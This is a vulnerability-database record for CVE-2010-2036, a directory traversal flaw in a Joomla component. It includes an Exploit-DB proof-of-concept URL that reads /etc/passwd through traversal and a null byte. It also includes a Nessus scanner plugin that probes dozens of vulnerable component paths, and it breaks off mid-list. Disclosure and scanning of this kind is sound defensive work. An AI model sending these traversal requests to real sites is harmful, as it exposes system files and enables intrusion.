{"id": "CVE-2010-2036", "bulletinFamily": "NVD", "title": "CVE-2010-2036", "description": "Directory traversal vulnerability in the Percha Fields Attach (com_perchafieldsattach) component 1.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.", "published": "2010-05-25T14:30:00", "modified": "2010-05-26T13:44:00", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-2036", "reporter": "cve@mitre.org", "references": ["http://packetstormsecurity.org/1005-exploits/joomlaperchafa-lfi.txt", "http://www.securityfocus.com/bid/40244"], "cvelist": ["CVE-2010-2036"], "type": "cve", "lastseen": "2019-05-29T18:10:28", "history": [], "edition": 1, "hashmap": [{"key": "affectedSoftware", "hash": "067875f147bae5cdf86cadc92d1e0e83"}, {"key": "bulletinFamily", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "cpe", "hash": "5a2228bd85a5d6cd565c2d6b7fc90f62"}, {"key": "cpe23", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cvelist", "hash": "0810f1b4f417428bfdbdd5422c8e77b6"}, {"key": "cvss", "hash": "0b053db5674b87efff89989a8a720df3"}, {"key": "cvss2", "hash": "27c7580c75f8189a2ddd31c96c2f7e2b"}, {"key": "cvss3", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cwe", "hash": "0658497da393ba8e7c2a5f76cfc6647b"}, {"key": "description", "hash": "cd4459de305c025d349551e85f6a718d"}, {"key": "href", "hash": "aa23a525bed75397300f706d89e200dc"}, {"key": "modified", "hash": "f823314ece570124ce094876e64f4d47"}, {"key": "published", "hash": "6195ded0d167307f99df26174a125316"}, {"key": "references", "hash": "7d801d81a24b84c5d5cf090d64740104"}, {"key": "reporter", "hash": "444c2b4dda4a55437faa8bef1a141e84"}, {"key": "title", "hash": "6635e5a68ab3b41ae517f7bc4f59c9ce"}, {"key": "type", "hash": "1716b5fcbb7121af74efdc153d0166c5"}], "hash": "750963f2bcfde6d8a6d244879eed208b759d70d7be26909f379d8cfc0f55ec07", "viewCount": 2, "enchantments": {"score": {"value": 7.1, "vector": "NONE", "modified": "2019-05-29T18:10:28", "rev": 2}, "dependencies": {"references": [{"type": "exploitdb", "idList": ["EDB-ID:34004"]}, {"type": "nessus", "idList": ["JOOMLA_COMPONENTS_CONTROLLER_LFI.NASL"]}], "modified": "2019-05-29T18:10:28", "rev": 2}, "vulnersScore": 7.1}, "objectVersion": "1.3", "cpe": ["cpe:/a:percha:com_perchafieldsattach:1.0"], "affectedSoftware": [{"name": "percha com_perchafieldsattach", "operator": "eq", "version": "1.0"}], "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {}, "cpe23": [], "cwe": ["CWE-22"]}

{"exploitdb": [{"lastseen": "2016-02-03T20:18:04", "bulletinFamily": "exploit", "description": "Percha Fields Attach 1.0 Component for Joomla! index.php controller Parameter Traversal Arbitrary File Access. CVE-2010-2036 . Webapps exploit for php platform", "modified": "2010-05-19T00:00:00", "published": "2010-05-19T00:00:00", "id": "EDB-ID:34004", "href": "https://www.exploit-db.com/exploits/34004/", "type": "exploitdb", "title": "Percha Fields Attach 1.0 Component for Joomla! index.php controller Parameter Traversal Arbitrary File Access", "sourceData": "source: http://www.securityfocus.com/bid/40244/info\r\n \r\nMultiple Percha components for Joomla are prone to multiple local file-include vulnerabilities because they fail to properly sanitize user-supplied input.\r\n \r\nAn attacker can exploit these vulnerabilities to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.\r\n \r\nThe following Percha components are affected:\r\n \r\ncom_perchaimageattach\r\ncom_perchafieldsattach\r\ncom_perchadownloadsattach\r\ncom_perchagallery\r\ncom_perchacategoriestree \r\n\r\nhttp://www.example.com/index.php?option=com_perchafieldsattach&controller=../../../../../../../../../../etc/passwd%00", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/34004/"}], "nessus": [{"lastseen": "2020-08-01T03:01:31", "bulletinFamily": "scanner", "description": "The remote host contains a component for Joomla! or Mambo that fails\nto sanitize user-supplied input to multiple parameters in a GET\nrequest before using it to include PHP code. Regardless of the PHP\n", "modified": "2020-08-02T00:00:00", "id": "JOOMLA_COMPONENTS_CONTROLLER_LFI.NASL", "href": "https://www.tenable.com/plugins/nessus/43636", "published": "2010-01-04T00:00:00", "title": "Joomla! / Mambo Component Multiple Parameter Local File Include Vulnerabilities", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(43636);\n script_version(\"1.160\");\n script_cvs_date(\"Date: 2019/10/16 10:34:21\");\n\n script_cve_id(\n \"CVE-2010-0157\",\n \"CVE-2010-0467\",\n \"CVE-2010-0676\",\n \"CVE-2010-0944\",\n \"CVE-2010-0972\",\n \"CVE-2010-1056\",\n \"CVE-2010-1081\",\n \"CVE-2010-1304\",\n \"CVE-2010-1305\",\n \"CVE-2010-1306\",\n \"CVE-2010-1308\",\n \"CVE-2010-1312\",\n \"CVE-2010-1314\",\n \"CVE-2010-1340\",\n \"CVE-2010-1345\",\n \"CVE-2010-1352\",\n \"CVE-2010-1354\",\n \"CVE-2010-1469\",\n \"CVE-2010-1470\",\n \"CVE-2010-1471\",\n \"CVE-2010-1472\",\n \"CVE-2010-1473\",\n \"CVE-2010-1474\",\n \"CVE-2010-1475\",\n \"CVE-2010-1478\",\n \"CVE-2010-1491\",\n \"CVE-2010-1494\",\n \"CVE-2010-1534\",\n \"CVE-2010-1602\",\n \"CVE-2010-1607\",\n \"CVE-2010-1653\",\n \"CVE-2010-1658\",\n \"CVE-2010-1714\",\n \"CVE-2010-1715\",\n \"CVE-2010-1717\",\n \"CVE-2010-1718\",\n \"CVE-2010-1719\",\n \"CVE-2010-1722\",\n \"CVE-2010-1723\",\n \"CVE-2010-1858\",\n \"CVE-2010-1875\",\n \"CVE-2010-1878\",\n \"CVE-2010-1952\",\n \"CVE-2010-1953\",\n \"CVE-2010-1954\",\n \"CVE-2010-1956\",\n \"CVE-2010-1979\",\n \"CVE-2010-1980\",\n \"CVE-2010-1981\",\n \"CVE-2010-2033\",\n \"CVE-2010-2034\",\n \"CVE-2010-2035\",\n \"CVE-2010-2036\",\n \"CVE-2010-2037\",\n \"CVE-2010-2050\",\n \"CVE-2010-2122\",\n \"CVE-2010-2507\",\n \"CVE-2010-3426\",\n \"CVE-2010-4977\",\n \"CVE-2011-4804\"\n );\n script_bugtraq_id(\n 37583,\n 37596,\n 37691,\n 37987,\n 38267,\n 38330,\n 38715,\n 38741,\n 38742,\n 38743,\n 38747,\n 38749,\n 38751,\n 38761,\n 38783,\n 38911,\n 38912,\n 38917,\n 39174,\n 39176,\n 39177,\n 39178,\n 39200,\n 39203,\n 39208,\n 39213,\n 39214,\n 39222,\n 39239,\n 39246,\n 39248,\n 39251,\n 39266,\n 39267,\n 39331,\n 39342,\n 39383,\n 39385,\n 39386,\n 39387,\n 39388,\n 39390,\n 39398,\n 39399,\n 39497,\n 39506,\n 39509,\n 39545,\n 39547,\n 39548,\n 39560,\n 39562,\n 39566,\n 39606,\n 39607,\n 39608,\n 39742,\n 39743,\n 40175,\n 40176,\n 40177,\n 40185,\n 40192,\n 40244,\n 40328,\n 40412,\n 40440,\n 40964,\n 41031,\n 41358,\n 42486,\n 43147,\n 43820,\n 46081,\n 48345,\n 48944,\n 56994\n );\n script_xref(name:\"EDB-ID\", value:\"10928\");\n script_xref(name:\"EDB-ID\", value:\"10943\");\n script_xref(name:\"EDB-ID\", value:\"11088\");\n script_xref(name:\"EDB-ID\", value:\"11277\");\n script_xref(name:\"EDB-ID\", value:\"11282\");\n script_xref(name:\"EDB-ID\", value:\"11707\");\n script_xref(name:\"EDB-ID\", value:\"11738\");\n script_xref(name:\"EDB-ID\", value:\"11740\");\n script_xref(name:\"EDB-ID\", value:\"11743\");\n script_xref(name:\"EDB-ID\", value:\"11756\");\n script_xref(name:\"EDB-ID\", value:\"11758\");\n script_xref(name:\"EDB-ID\", value:\"11759\");\n script_xref(name:\"EDB-ID\", value:\"11760\");\n script_xref(name:\"EDB-ID\", value:\"11785\");\n script_xref(name:\"EDB-ID\", value:\"11851\");\n script_xref(name:\"EDB-ID\", value:\"11853\");\n script_xref(name:\"EDB-ID\", value:\"11996\");\n script_xref(name:\"EDB-ID\", value:\"11997\");\n script_xref(name:\"EDB-ID\", value:\"11998\");\n script_xref(name:\"EDB-ID\", value:\"12058\");\n script_xref(name:\"EDB-ID\", value:\"12065\");\n script_xref(name:\"EDB-ID\", value:\"12066\");\n script_xref(name:\"EDB-ID\", value:\"12067\");\n script_xref(name:\"EDB-ID\", value:\"12069\");\n script_xref(name:\"EDB-ID\", value:\"12077\");\n script_xref(name:\"EDB-ID\", value:\"12084\");\n script_xref(name:\"EDB-ID\", value:\"12085\");\n script_xref(name:\"EDB-ID\", value:\"12086\");\n script_xref(name:\"EDB-ID\", value:\"12087\");\n script_xref(name:\"EDB-ID\", value:\"12088\");\n script_xref(name:\"EDB-ID\", value:\"12101\");\n script_xref(name:\"EDB-ID\", value:\"12102\");\n script_xref(name:\"EDB-ID\", value:\"12111\");\n script_xref(name:\"EDB-ID\", value:\"12113\");\n script_xref(name:\"EDB-ID\", value:\"12142\");\n script_xref(name:\"EDB-ID\", value:\"12145\");\n script_xref(name:\"EDB-ID\", value:\"12146\");\n script_xref(name:\"EDB-ID\", value:\"12147\");\n script_xref(name:\"EDB-ID\", value:\"12149\");\n script_xref(name:\"EDB-ID\", value:\"12151\");\n script_xref(name:\"EDB-ID\", value:\"12166\");\n script_xref(name:\"EDB-ID\", value:\"12167\");\n script_xref(name:\"EDB-ID\", value:\"12168\");\n script_xref(name:\"EDB-ID\", value:\"12169\");\n script_xref(name:\"EDB-ID\", value:\"12170\");\n script_xref(name:\"EDB-ID\", value:\"12171\");\n script_xref(name:\"EDB-ID\", value:\"12172\");\n script_xref(name:\"EDB-ID\", value:\"12173\");\n script_xref(name:\"EDB-ID\", value:\"12174\");\n script_xref(name:\"EDB-ID\", value:\"12175\");\n script_xref(name:\"EDB-ID\", value:\"12176\");\n script_xref(name:\"EDB-ID\", value:\"12177\");\n script_xref(name:\"EDB-ID\", value:\"12178\");\n script_xref(name:\"EDB-ID\", value:\"12180\");\n script_xref(name:\"EDB-ID\", value:\"12181\");\n script_xref(name:\"EDB-ID\", value:\"12182\");\n script_xref(name:\"EDB-ID\", value:\"12230\");\n script_xref(name:\"EDB-ID\", value:\"12233\");\n script_xref(name:\"EDB-ID\", value:\"12239\");\n script_xref(name:\"EDB-ID\", value:\"12282\");\n script_xref(name:\"EDB-ID\", value:\"12283\");\n script_xref(name:\"EDB-ID\", value:\"12285\");\n script_xref(name:\"EDB-ID\", value:\"12287\");\n script_xref(name:\"EDB-ID\", value:\"12288\");\n script_xref(name:\"EDB-ID\", value:\"12289\");\n script_xref(name:\"EDB-ID\", value:\"12290\");\n script_xref(name:\"EDB-ID\", value:\"12291\");\n script_xref(name:\"EDB-ID\", value:\"12316\");\n script_xref(name:\"EDB-ID\", value:\"12317\");\n script_xref(name:\"EDB-ID\", value:\"12318\");\n script_xref(name:\"EDB-ID\", value:\"12427\");\n script_xref(name:\"EDB-ID\", value:\"12430\");\n script_xref(name:\"EDB-ID\", value:\"12611\");\n script_xref(name:\"EDB-ID\", value:\"12618\");\n script_xref(name:\"EDB-ID\", value:\"12769\");\n script_xref(name:\"EDB-ID\", value:\"12814\");\n script_xref(name:\"EDB-ID\", value:\"13924\");\n script_xref(name:\"EDB-ID\", value:\"13981\");\n script_xref(name:\"EDB-ID\", value:\"14656\");\n script_xref(name:\"EDB-ID\", value:\"14964\");\n script_xref(name:\"EDB-ID\", value:\"17411\");\n\n script_name(english:\"Joomla! / Mambo Component Multiple Parameter Local File Include Vulnerabilities\");\n script_summary(english:\"Attempts to read a local file.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote web server contains a PHP application that is affected by\nmultiple local file include vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host contains a component for Joomla! or Mambo that fails\nto sanitize user-supplied input to multiple parameters in a GET\nrequest before using it to include PHP code. Regardless of the PHP\n'register_globals' setting, an unauthenticated, remote attacker can\nexploit this issue to disclose arbitrary files or possibly execute\narbitrary PHP code on the remote host, subject to the privileges of\nthe web server user ID.\");\n script_set_attribute(attribute:\"solution\", value:\n\"Contact the vendor of each affected component to see if an upgrade is\navailable or else disable it.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"d2_elliot_name\", value:\"Joomla Component com_shoutbox LFI\");\n script_set_attribute(attribute:\"exploit_framework_d2_elliot\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_cwe_id(22);\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2010/01/03\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2010/01/04\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:joomla:joomla\\!\");\n script_set_attribute(attribute:\"exploited_by_nessus\", value:\"true\");\n script_end_attributes();\n\n script_category(ACT_ATTACK);\n script_family(english:\"CGI abuses\");\n\n script_copyright(english:\"This script is Copyright (C) 2010-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"mambo_detect.nasl\", \"joomla_detect.nasl\", \"os_fingerprint.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_require_keys(\"www/PHP\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"http.inc\");\ninclude(\"webapp_func.inc\");\n\nport = get_http_port(default:80, php:TRUE);\napp = \"Mambo / Joomla!\";\n\n# Generate a list of paths to check.\nmambo = get_dirs_from_kb(appname:'mambo_mos', port:port);\nif (isnull(mambo)) mambo = make_list();\n\njoomla = make_list();\njoomla_installs = get_installs(\n app_name : \"Joomla!\",\n port : port\n);\n\nif (joomla_installs[0] == IF_OK)\n{\n foreach install (joomla_installs[1])\n {\n dir = install['path'];\n joomla = make_list(dir, joomla);\n }\n}\n\ndirs = make_list(mambo, joomla);\nif (max_index(dirs) == 0)\n audit(AUDIT_WEB_APP_NOT_INST, app, port);\n\n# Vulnerable components.\nncoms = 0;\ncom = make_array();\npat = make_array(); # regexes so we're sure the component is installed.\n\n# - A Cool Debate (Bugtraq 48345 / EDB-ID 17411)\ncom[ncoms] = \"/index.php?option=com_acooldebate\";\npat[ncoms] = 'class=\"mainDebateWrapper\"';\nncoms++;\n# - AddressBook (Bugtraq 39398 / EDB-ID 12170)\ncom[ncoms] = \"/index.php?option=com_addressbook\";\npat[ncoms] = 'Messege Could Not';\nncoms++;\n# - ArcadeGames (Bugtraq 39398 / EDB-ID 12168)\ncom[ncoms] = \"/index.php?option=com_arcadegames\";\npat[ncoms] = '<iframe id=\"ArcadeGames\"';\nncoms++;\n# - Archery Scores (Bugtraq 39545 / EDB-ID 12282)\ncom[ncoms] = \"/index.php?option=com_archeryscores\";\npat[ncoms] = 'archeryscoresView';\nncoms++;\n# - AWDwall (Bugtraq 39331 / EDB-ID 12113)\n# untested but confirmed at <http://www.awdwall.com/index.php/awdwall-updates-logs->.\ncom[ncoms] = \"/index.php?option=com_awdwall\";\npat[ncoms] = 'com_awdwall/views/awdwall/tmpl/';\nncoms++;\n# - aWiki (Bugtraq 39267 / EDB-ID 12101)\ncom[ncoms] = \"/index.php?option=com_awiki\";\npat[ncoms] = \"awikiView\";\nncoms++;\n# - BeeHeard (Bugtraq 39506 / EDB-ID 12239)\ncom[ncoms] = \"/index.php?option=com_beeheard\";\npat[ncoms] = 'beeheardView';\nncoms++;\ncom[ncoms] = \"/index.php?option=com_beeheardlite\";\npat[ncoms] = 'beeheardliteView';\nncoms++;\n# - Bible Study (Bugtraq 37583)\ncom[ncoms] = \"/index.php?option=com_biblestudy&id=1&view=studieslist\";\npat[ncoms] = \"js/biblestudy\\.js\";\nncoms++;\n# - BCA-RSS-Syndicator (Bugtraq 39208)\ncom[ncoms] = \"/index.php?option=com_bca-rss-syndicator\";\npat[ncoms] = '<generator>FeedCreator';\nncoms++;\n# - Boy Scout Adventure (Bugtraq 43820)\ncom[ncoms] = \"/index.php?option=com_bsadv\";\npat[ncoms] = 'controller=scoutranks|Scout Records';\nncoms++;\n# - Canteen (Bugtraq 41358)\ncom[ncoms] = \"/index.php?option=com_canteen\";\npat[ncoms] = 'canteenView';\nncoms++;\n# - ccNewsletter (Bugtraq 37987 and Exploit DB 11282)\n# Fixed in 1.0.6 per http://www.chillcreations.com/en/blog/ccnewsletter-joomla-newsletter/ccnewsletter-106-security-release.html\ncom[ncoms] = \"/index.php?option=com_ccnewsletter&view=ccnewsletter\";\npat[ncoms] = 'form action=.+ name=\"subscribeForm\"';\nncoms++;\ncom[ncoms] = \"/index.php?option=com_ccnewsletter\";\npat[ncoms] = 'form action=.+ name=\"subscribeForm\"';\nncoms++;\n# - CKForms (Bugtraq 38783)\ncom[ncoms] = \"/index.php?option=com_ckforms\";\npat[ncoms] = \"com_ckforms/js/ui.datepicker.packed.js\";\nncoms++;\n# - Community Polls (Bugtraq 38330)\ncom[ncoms] = \"/index.php?option=com_communitypolls\";\npat[ncoms] = \"\";\nncoms++;\n# - CV Maker (Bugtraq 39398 / EDB-ID 12172)\ncom[ncoms] = \"/index.php?option=com_cvmaker\";\npat[ncoms] = '<b>User Must Be Logged In</b>';\nncoms++;\n# - Daily Meals (Bugtraq 37596)\ncom[ncoms] = \"/index.php?option=com_dailymeals\";\npat[ncoms] = '<div id=\"dailymeals\">';\nncoms++;\n# - Datafeeds (Bugtraq 39246 / EDB-ID 12088)\ncom[ncoms] = \"/index.php?option=com_datafeeds\";\npat[ncoms] = '';\nncoms++;\n# - Digital Diary (Bugtraq 39398 / EDB-ID 12178)\ncom[ncoms] = \"/index.php?option=com_diary\";\npat[ncoms] = \"value='Diary' />\";\nncoms++;\n# - Draw Root Map (Bugtraq 39562 / EDB-ID 12289)\ncom[ncoms] = \"/index.php?option=com_drawroot\";\npat[ncoms] = 'drawRoute\\\\(\\\\)';\nncoms++;\n# - Easy Ad Banner (EDB-ID 12171)\ncom[ncoms] = \"/index.php?option=com_advertising\";\npat[ncoms] = '';\nncoms++;\n# - EContent (Bugtraq 39176)\n#\n# nb: we can only test based on PHP error messages.\ncom[ncoms] = \"/index.php?option=com_econtent\";\npat[ncoms] = \"\";\nncoms++;\n# - Fabrik (Bugtraq 40328 / EDB-ID 12087)\ncom[ncoms] = \"/index.php?option=com_fabrik\";\npat[ncoms] = \"com_fabrik/libs/mootools-ext\\.js\";\nncoms++;\n# - FlashGames (Bugtraq 39398 / EDB-ID 12169)\ncom[ncoms] = \"/index.php?option=com_flashgames\";\npat[ncoms] = 'Messege Could Not';\nncoms++;\n# - Frontend User Access (Bugtraq 46081)\ncom[ncoms] = \"/index.php?option=com_frontenduseraccess\";\npat[ncoms] = 'you have no access to this page<br';\nncoms++;\n# - G2Bridge (Bugtraq 40440/ EDB-ID 12814)\ncom[ncoms] = \"/index.php?option=com_g2bridge\";\npat[ncoms] = '';\nncoms++;\n# - Gadget Factory (Bugtraq 39547 / EDB-ID 12285)\ncom[ncoms] = \"/index.php?option=com_gadgetfactory\";\npat[ncoms] = '\"status\":0,\"message\":\"Wrong credentials\"';\nncoms++;\n# - Gallery XML (Bugtraq 40964)\ncom[ncoms] = \"/index.php?option=com_galleryxml\";\npat[ncoms] = 'galpic.+catpics.+gcatid';\nncoms++;\n# - GAnalytics (Bugtraq 38749)\ncom[ncoms] = \"/index.php?option=com_ganalytics\";\npat[ncoms] = '';\nncoms++;\n# - GCalendar (Bugtraq 38742)\ncom[ncoms] = \"/index.php?option=com_gcalendar\";\npat[ncoms] = '(gcalendar_powered|There is no calendar specified.+Parameter Basic)';\nncoms++;\n# - Google Map (Bugtraq 39560 / EDB-ID 12290)\ncom[ncoms] = \"/index.php?option=com_google\";\npat[ncoms] = '#google_map';\nncoms++;\n# - Graphics (BID 39743 / EDB-ID 12430)\ncom[ncoms] = \"/index.php?option=com_graphics\";\npat[ncoms] = 'GraphicsControllerGraphics';\nncoms++;\n# - Highslide JS Configuration (Bugtraq 39239 / EDB-ID 12086)\ncom[ncoms] = \"/index.php?option=com_hsconfig\";\npat[ncoms] = '';\nncoms++;\n# - Horoscope (Bugtraq 39398 / EDB-ID 12167)\ncom[ncoms] = \"/index.php?option=com_horoscope\";\npat[ncoms] = 'Messege Could Not';\nncoms++;\n# - iF surfALERT (Bugtraq 39566 / EDB-ID 12291)\ncom[ncoms] = \"/index.php?option=com_if_surfalert\";\npat[ncoms] = '<!-- SURF REPORT';\nncoms++;\n# - JCollection (Bugtraq 37691)\ncom[ncoms] = \"/index.php?option=com_jcollection\";\npat[ncoms] = 'jcollectionView';\nncoms++;\n# - Jfeedback (Bugtraq 39390 / EDB-ID 12145)\ncom[ncoms] = \"/index.php?option=com_jfeedback\";\npat[ncoms] = '';\nncoms++;\n# - JGrid (Bugtraq 42486 / EDB-ID 14656)\ncom[ncoms] = \"/index.php?option=com_jgrid\";\npat[ncoms] = 'var jgrid_(columns|store)';\nncoms++;\n# - JInventory (Bugtraq 39203)\n# untested but confirmed at <http://extensions.joomla.org/extensions/e-commerce/shopping-cart/7951>.\ncom[ncoms] = \"/index.php?option=com_jinventory\";\npat[ncoms] = 'jinventoryView';\nncoms++;\n# - Joomla! Flickr (Bugtraq 39251 / EDB-ID 12085)\ncom[ncoms] = \"/index.php?option=com_joomlaflickr\";\npat[ncoms] = 'joomlaflickrView';\nncoms++;\n# - Joomla! Picasa (Bugtraq 39200)\ncom[ncoms] = \"/index.php?option=com_joomlapicasa2\";\npat[ncoms] = 'joomlapicasa2View';\nncoms++;\n# - JoomMail (Bugtraq 39398 / EDB-ID 12175)\ncom[ncoms] = \"/index.php?option=com_joommail\";\npat[ncoms] = \"<center><b>User must be logged in</b>\";\nncoms++;\n# - jPhone (Bugtraq 43147 / EDB-ID 14964)\ncom[ncoms] = \"/index.php?option=com_jphone\";\npat[ncoms] = '<h1>jPhone</h1>|jQTouch';\nncoms++;\n# - JProject Manager (Bugtraq 39383 / EDB-ID 12146)\ncom[ncoms] = \"/index.php?option=com_jprojectmanager\";\npat[ncoms] = '';\nncoms++;\n# - JResearch (Bugtraq 38917)\ncom[ncoms] = \"/index.php?option=com_jresearch\";\npat[ncoms] = '(<title>Research Areas</title>|css/jresearch_styles\\\\.css\")';\nncoms++;\n# - Jukebox (Bugtraq 39248 / EDB-ID 12084)\n# nb: version 1.0 is definitely affected; 1.7 doesn't seem to be\n# although the advisory posted on Exploit DB claims otherwise.\ncom[ncoms] = \"/index.php?option=com_jukebox\";\npat[ncoms] = '(com_jukebox/unitip/images|class=\"jukeboxintro\")';\nncoms++;\n# - Julia Portfolio (Bugtraq 38715)\ncom[ncoms] = \"/index.php?option=com_juliaportfolio\";\npat[ncoms] = '<table class=\"portfolio\">';\nncoms++;\n# - Jvehicles (Bugtraq 39177)\ncom[ncoms] = \"/index.php?option=com_jvehicles\";\npat[ncoms] = 'com_jvehicles/includes/js/config\\\\.js';\nncoms++;\n# - Linkr (Bugtraq 38747)\ncom[ncoms] = \"/index.php?option=com_linkr\";\npat[ncoms] = 'LinkrHelper=new LinkrAPI';\nncoms++;\n# - MediQnA (Bugtraq 40412 / EDB-ID 12769)\ncom[ncoms] = \"/index.php?option=com_mediqna\";\npat[ncoms] = '(<h3>Question Sets\\\\.+</h3>|Click .+view=listing\">here</a> to view other sets)';\nncoms++;\n# - Memory Book (Bugtraq 39398 / EDB-ID 12176)\ncom[ncoms] = \"/index.php?option=com_memory\";\npat[ncoms] = \"value='viewAddMemoryPage'\";\nncoms++;\n# - MMS Blog (Bugtraq 39607 / EDB-ID 12318)\ncom[ncoms] = \"/index.php?option=com_mmsblog\";\npat[ncoms] = 'Powered by .+MMS Blog';\nncoms++;\n# - MS Comment (Bugtraq 40185 / EDB-ID 12611)\ncom[ncoms] = \"/index.php?option=com_mscomment\";\npat[ncoms] = 'class=\"modifydate\" onclick=\"hideComments\\\\(';\nncoms++;\n# - MT Fire Eagle (Bugtraq 39509 / EDB-ID 12233)\ncom[ncoms] = \"/index.php?option=com_mtfireeagle\";\npat[ncoms] = \"mtfireeagleView\";\nncoms++;\n# - Multiple Map (Bugtraq 39551 / EDB-ID 12289)\ncom[ncoms] = \"/index.php?option=com_multimap\";\npat[ncoms] = 'GSmallMapControl\\\\(\\\\)';\nncoms++;\n# - Multiple Root (Bugtraq 39552 / EDB-ID 12287)\ncom[ncoms] = \"/index.php?option=com_multiroot\";\npat[ncoms] = 'function createMarker';\nncoms++;\n# - My Files (Bugtraq 39398 / EDB-ID 12173)\ncom[ncoms] = \"/index.php?option=com_myfiles\";\npat[ncoms] = '<strong>No Files Uploaded</strong>';\nncoms++;\n# - Ninja RSS Syndicator (Exploit DB 11740)\ncom[ncoms] = \"/index.php?option=com_ninjarsssyndicator\";\npat[ncoms] = '<generator>FeedCreator';\nncoms++;\n# - News Portal (BID 39222 / EDB-ID 12077)\n# untested but confirmed at <http://www.ijoomla.com/ijoomla-news-portal/ijoomla-news-portal/index/> (Changelog for version 1.5.9).\ncom[ncoms] = \"/index.php?option=com_news_portal\";\npat[ncoms] = '(com_news_portal/news\\\\.css|com_news_portal/helpers/news\\\\.css)';\nncoms++;\n# - NoticeBoard (BID 39742 / EDB-ID 12427)\ncom[ncoms] = \"/index.php?option=com_noticeboard\";\npat[ncoms] = 'id=\"NoticeBoard';\nncoms++;\n# - obSuggest (BID 48944)\ncom[ncoms] = \"/index.php?option=com_obsuggest\";\npat[ncoms] = '';\nncoms++;\n# - Online Exam (Bugtraq 39398 / EDB-ID 12174)\ncom[ncoms] = \"/index.php?option=com_onlineexam\";\npat[ncoms] = '^USER MUST BE LOGGED IN';\nncoms++;\n# - Online Market (Bugtraq 39398 / EDB-ID 12177)\ncom[ncoms] = \"/index.php?option=com_market\";\npat[ncoms] = '^Messege Could Not';\nncoms++;\n# - OrgChart (Bugtraq 39606 / EDB-ID 12317)\ncom[ncoms] = \"/index.php?option=com_orgchart\";\npat[ncoms] = 'default view of the Org Chart component';\nncoms++;\n# - Percha Categories Tree (Bugtraq 40244)\ncom[ncoms] = \"/index.php?option=com_perchacategoriestree\";\npat[ncoms] = '';\nncoms++;\n# - Percha Downloads Attach (Bugtraq 40244)\ncom[ncoms] = \"/index.php?option=com_perchadownloadsattach\";\npat[ncoms] = 'perchadownloadsattachView';\nncoms++;\n# - Percha Fields Attach (Bugtraq 40244)\ncom[ncoms] = \"/index.php?option=com_perchafieldsattach\";\npat[ncoms] = 'perchafieldsattachView';\nncoms++;\n# - Percha Gallery (Bugtraq 40244)\ncom[ncoms] = \"/index.php?option=com_perchagallery\";\npat[ncoms] = 'perchagalleryView';\nncoms++;\n# - Percha Image Attach (Bugtraq 40244)\ncom[ncoms] = \"/index.php?option=com_perchaimageattach\";\npat[ncoms] = 'perchaimageattachView';\nncoms++;\n# - Picasa2Gallery (Bugtraq 41031 / EDB-ID 13981)\ncom[ncoms] = \"/index.php?option=com_picasa2gallery\";\npat[ncoms] = 'picasa2galleryView';\nncoms++;\n# - Preventive and Reservation (Bugtraq 39387 / EDB-ID 12147)\ncom[ncoms] = \"/index.php?option=com_preventive\";\npat[ncoms] = '(Preventive and reservation creator|name=\"arrival\" id=\"publish_up1\")';\nncoms++;\n# - Properties (Bugtraq 38912)\ncom[ncoms] = \"/index.php?option=com_properties\";\npat[ncoms] = '(\" content=\"Properties\" />|<div id=\"propiedades\")';\nncoms++;\n# - Record (Bugtraq 39398 / EDB-ID 12181)\ncom[ncoms] = \"/index.php?option=com_record\";\npat[ncoms] = '>500 - Layout \"';\nncoms++;\n# - RokDownloads (Bugtraq 38741)\ncom[ncoms] = \"/index.php?option=com_rokdownloads\";\npat[ncoms] = '';\nncoms++;\n# - RWCards (Bugtraq 38267)\ncom[ncoms] = \"/index.php?option=com_rwcards\";\npat[ncoms] = 'rwcards\\\\.slideshow\\\\.css|id=\"rwcardsTable\"';\nncoms++;\n# - SectionEx (Bugtraq 38751)\ncom[ncoms] = \"/index.php?option=com_sectionex\";\npat[ncoms] = 'sectionexView';\nncoms++;\n# - Shoutbox (Bugtraq 39213 / EDB-ID 12067)\n# untested but confirmed at <http://joomla.batjo.nl/news/23-security-release-shoutbox-archive-component..html>.\ncom[ncoms] = 